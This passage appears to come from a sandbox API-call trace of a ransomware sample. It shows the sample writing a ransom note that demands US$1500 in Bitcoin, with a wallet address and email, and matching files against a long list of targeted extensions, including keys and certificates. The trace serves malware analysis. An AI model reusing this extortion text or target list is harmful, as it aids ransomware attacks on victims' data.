lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt" [0089.419] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to decrypt files.txt")) returned 0xffffffff [0089.419] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.423] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.423] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.425] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.426] CloseHandle (hObject=0x8c) returned 1 [0089.426] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.ems") returned 0 [0089.426] lstrlenA (lpString="*.ems") returned 5 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.db") returned 0 [0089.426] lstrlenA (lpString="*.db") returned 4 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.dbf") returned 0 [0089.426] lstrlenA (lpString="*.dbf") returned 5 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.myox") returned 0 [0089.426] lstrlenA (lpString="*.myox") returned 6 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.myo") returned 0 [0089.426] lstrlenA (lpString="*.myo") returned 5 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbw") returned 0 [0089.426] lstrlenA (lpString="*.qbw") returned 5 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbb") returned 0 [0089.426] lstrlenA (lpString="*.qbb") returned 5 [0089.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbm") returned 0 [0089.427] lstrlenA (lpString="*.qbm") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbo") returned 0 [0089.427] lstrlenA (lpString="*.qbo") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbx") returned 0 [0089.427] lstrlenA (lpString="*.qbx") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qba") returned 0 [0089.427] lstrlenA (lpString="*.qba") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qby") returned 0 [0089.427] lstrlenA (lpString="*.qby") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qbj") returned 0 [0089.427] lstrlenA (lpString="*.qbj") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.ofx") returned 0 [0089.427] lstrlenA (lpString="*.ofx") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.qif") returned 0 [0089.427] lstrlenA (lpString="*.qif") returned 5 [0089.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mye") returned 0 [0089.427] lstrlenA (lpString="*.mye") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mbox") returned 0 [0089.428] lstrlenA (lpString="*.mbox") returned 6 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.eml") returned 0 [0089.428] lstrlenA (lpString="*.eml") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.pst") returned 0 [0089.428] lstrlenA (lpString="*.pst") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.ost") returned 0 [0089.428] lstrlenA (lpString="*.ost") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.idx") returned 0 [0089.428] lstrlenA (lpString="*.idx") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.dbx") returned 0 [0089.428] lstrlenA (lpString="*.dbx") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.sql") returned 0 [0089.428] lstrlenA (lpString="*.sql") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mdb") returned 0 [0089.428] lstrlenA (lpString="*.mdb") returned 5 [0089.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.fdb") returned 0 [0089.429] lstrlenA (lpString="*.fdb") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.wab") returned 0 [0089.429] lstrlenA (lpString="*.wab") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.dat") returned 0 [0089.429] lstrlenA (lpString="*.dat") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.txt") returned 0 [0089.429] lstrlenA (lpString="*.txt") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.jpeg") returned 0 [0089.429] lstrlenA (lpString="*.jpeg") returned 6 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.jpg") returned 0 [0089.429] lstrlenA (lpString="*.jpg") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.png") returned 0 [0089.429] lstrlenA (lpString="*.png") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.php") returned 0 [0089.429] lstrlenA (lpString="*.php") returned 5 [0089.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.cs") returned 0 [0089.429] lstrlenA (lpString="*.cs") returned 4 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.cpp") returned 0 [0089.430] lstrlenA (lpString="*.cpp") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.rar") returned 0 [0089.430] lstrlenA (lpString="*.rar") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.zip") returned 0 [0089.430] lstrlenA (lpString="*.zip") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.html") returned 0 [0089.430] lstrlenA (lpString="*.html") returned 6 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.htm") returned 0 [0089.430] lstrlenA (lpString="*.htm") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.xlsx") returned 0 [0089.430] lstrlenA (lpString="*.xlsx") returned 6 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.xls") returned 0 [0089.430] lstrlenA (lpString="*.xls") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mp4") returned 0 [0089.430] lstrlenA (lpString="*.mp4") returned 5 [0089.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.ppt") returned 0 [0089.431] lstrlenA (lpString="*.ppt") returned 5 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.pptx") returned 0 [0089.431] lstrlenA (lpString="*.pptx") returned 6 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.doc") returned 0 [0089.431] lstrlenA (lpString="*.doc") returned 5 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.dot") returned 0 [0089.431] lstrlenA (lpString="*.dot") returned 5 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.docx") returned 0 [0089.431] lstrlenA (lpString="*.docx") returned 6 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.7z") returned 0 [0089.431] lstrlenA (lpString="*.7z") returned 4 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.tar") returned 0 [0089.431] lstrlenA (lpString="*.tar") returned 5 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.bz2") returned 0 [0089.431] lstrlenA (lpString="*.bz2") returned 5 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.gz") returned 0 [0089.431] lstrlenA (lpString="*.gz") returned 4 [0089.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mkv") returned 0 [0089.432] lstrlenA (lpString="*.mkv") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.eml") returned 0 [0089.432] lstrlenA (lpString="*.eml") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.msg") returned 0 [0089.432] lstrlenA (lpString="*.msg") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.edb") returned 0 [0089.432] lstrlenA (lpString="*.edb") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.accdb") returned 0 [0089.432] lstrlenA (lpString="*.accdb") returned 7 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.odb") returned 0 [0089.432] lstrlenA (lpString="*.odb") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.java") returned 0 [0089.432] lstrlenA (lpString="*.java") returned 6 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.asm") returned 0 [0089.432] lstrlenA (lpString="*.asm") returned 5 [0089.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.pfx") returned 0 [0089.433] lstrlenA (lpString="*.pfx") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.pem") returned 0 [0089.433] lstrlenA (lpString="*.pem") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.p12") returned 0 [0089.433] lstrlenA (lpString="*.p12") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.gpg") returned 0 [0089.433] lstrlenA (lpString="*.gpg") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.vsd") returned 0 [0089.433] lstrlenA (lpString="*.vsd") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.odg") returned 0 [0089.433] lstrlenA (lpString="*.odg") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.raw") returned 0 [0089.433] lstrlenA (lpString="*.raw") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.nef") returned 0 [0089.433] lstrlenA (lpString="*.nef") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.svg") returned 0 [0089.433] lstrlenA (lpString="*.svg") returned 5 [0089.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.psd") returned 0 [0089.434] lstrlenA (lpString="*.psd") returned 5 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.vmx") returned 0 [0089.434] lstrlenA (lpString="*.vmx") returned 5 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.vmdk") returned 0 [0089.434] lstrlenA (lpString="*.vmdk") returned 6 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.vdi") returned 0 [0089.434] lstrlenA (lpString="*.vdi") returned 5 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.lay6") returned 0 [0089.434] lstrlenA (lpString="*.lay6") returned 6 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mpeg") returned 0 [0089.434] lstrlenA (lpString="*.mpeg") returned 6 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.djvu") returned 0 [0089.434] lstrlenA (lpString="*.djvu") returned 6 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.tiff") returned 0 [0089.434] lstrlenA (lpString="*.tiff") returned 6 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.backup") returned 0 [0089.434] lstrlenA (lpString="*.backup") returned 8 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.pdf") returned 0 [0089.434] lstrlenA (lpString="*.pdf") returned 5 [0089.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.cert") returned 0 [0089.434] lstrlenA (lpString="*.cert") returned 6 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.docm") returned 0 [0089.435] lstrlenA (lpString="*.docm") returned 6 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.xlsm") returned 0 [0089.435] lstrlenA (lpString="*.xlsm") returned 6 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.dwg") returned 0 [0089.435] lstrlenA (lpString="*.dwg") returned 5 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.nd") returned 0 [0089.435] lstrlenA (lpString="*.nd") returned 4 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.tlg") returned 0 [0089.435] lstrlenA (lpString="*.tlg") returned 5 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.lgb") returned 0 [0089.435] lstrlenA (lpString="*.lgb") returned 5 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mov") returned 0 [0089.435] lstrlenA (lpString="*.mov") returned 5 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.xdw") returned 0 [0089.435] lstrlenA (lpString="*.xdw") returned 5 [0089.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.ods") returned 0 [0089.436] lstrlenA (lpString="*.ods") returned 5 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.wav") returned 0 [0089.436] lstrlenA (lpString="*.wav") returned 5 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.mp3") returned 0 [0089.436] lstrlenA (lpString="*.mp3") returned 5 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.aiff") returned 0 [0089.436] lstrlenA (lpString="*.aiff") returned 6 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.flac") returned 0 [0089.436] lstrlenA (lpString="*.flac") returned 6 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.m4a") returned 0 [0089.436] lstrlenA (lpString="*.m4a") returned 5 [0089.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", pszSpec="*.csv") returned 0 [0089.436] lstrlenA (lpString="*.csv") returned 5 [0089.436] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0089.436] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Favorites.vss") returned -1 [0089.436] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Favorites.vss") returned 1 [0089.437] lstrcmpiA (lpString1="", lpString2="Favorites.vss") returned -1 [0089.437] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned="desktop.ini" [0089.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0089.437] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="" [0089.437] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt" [0089.437] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to decrypt files.txt")) returned 0x20 [0089.437] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpString2="Favorites.vss" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" [0089.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.ems") returned 0 [0089.437] lstrlenA (lpString="*.ems") returned 5 [0089.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.db") returned 0 [0089.437] lstrlenA (lpString="*.db") returned 4 [0089.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.dbf") returned 0 [0089.437] lstrlenA (lpString="*.dbf") returned 5 [0089.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.myox") returned 0 [0089.438] lstrlenA (lpString="*.myox") returned 6 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.myo") returned 0 [0089.438] lstrlenA (lpString="*.myo") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbw") returned 0 [0089.438] lstrlenA (lpString="*.qbw") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbb") returned 0 [0089.438] lstrlenA (lpString="*.qbb") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbm") returned 0 [0089.438] lstrlenA (lpString="*.qbm") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbo") returned 0 [0089.438] lstrlenA (lpString="*.qbo") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbx") returned 0 [0089.438] lstrlenA (lpString="*.qbx") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qba") returned 0 [0089.438] lstrlenA (lpString="*.qba") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qby") returned 0 [0089.438] lstrlenA (lpString="*.qby") returned 5 [0089.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qbj") returned 0 [0089.439] lstrlenA (lpString="*.qbj") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.ofx") returned 0 [0089.439] lstrlenA (lpString="*.ofx") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.qif") returned 0 [0089.439] lstrlenA (lpString="*.qif") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 